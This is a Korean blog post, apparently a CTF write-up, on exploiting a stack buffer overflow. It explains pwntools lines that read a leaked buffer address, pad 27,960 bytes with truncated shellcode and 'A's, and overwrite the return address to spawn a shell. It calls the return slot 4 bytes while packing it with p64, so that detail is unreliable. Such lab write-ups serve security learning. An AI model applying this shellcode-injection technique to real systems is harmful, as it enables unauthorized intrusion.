

서버에 접속해 보면, 문장을 출력한 후, buf의 주소를 출력하고 입력을 받는다는 걸 알 수 있다.

코드를 보면 puts 함수를 통해서 문장을 출력하고, buf의 주소를 출력한 후 변수v4에 다시 입력을 받는다
이 문제는 다음과 같은 방법으로 쉘을 획득할 수 있다
① 변수 v4의 주소(16진수 문자열)를 v4_address 변수에 int형으로 저장한다.
② 변수 v4 (27,952바이트) + sfp (8바이트) = 27,960바이트를 쉘 코드와 문자 A로 채운다.
③ ret (4바이트)에는 쉘 코드로 채운 변수 v4의 주소를 채운다

| line 6 | r.recvuntil( 'buf: ') | buf: 이후부터 data를 받아 저장할 수 있도록 함 |
| line 7 | v4_address = int( r.recv(10), 16) | buf: 이후 데이터 16진수 문자열을 int형으로 v4_address에 저장 |
| v4 (27,952바이트) + sfp (8바이트) = 27,960바이트 를 쉘 코드와 "A"로 채운 후, ret 4바이트에 v4_address를 채워준다 | ||
| line 10 | payload +=b"\x48\x31\xff\x48\x31\ ... | 쉘 코드 31바이트 |
| line 11 | payload +=b"A" *27929 | 27,960바이트 중 31바이트를 제외한 27,929바이트를 A로 채움 |
| line 12 | payload +=p64(v4_address) | ret 4바이트는 v4_address로 채움 |

'Layer7' 카테고리의 다른 글
| 메모리 보호기법 (Memory Mitigation) (0) | 2021.07.13 |
|---|---|
| HackCTF : Simple_overflow_ver_2 (0) | 2021.07.12 |
| HackCTF : 내 버퍼가 흘러넘친다!!! (0) | 2021.07.12 |
| Dream hack : basic_exploitation_000 (0) | 2021.07.11 |
| HackCTF : x64 buffer overflow (0) | 2021.06.16 |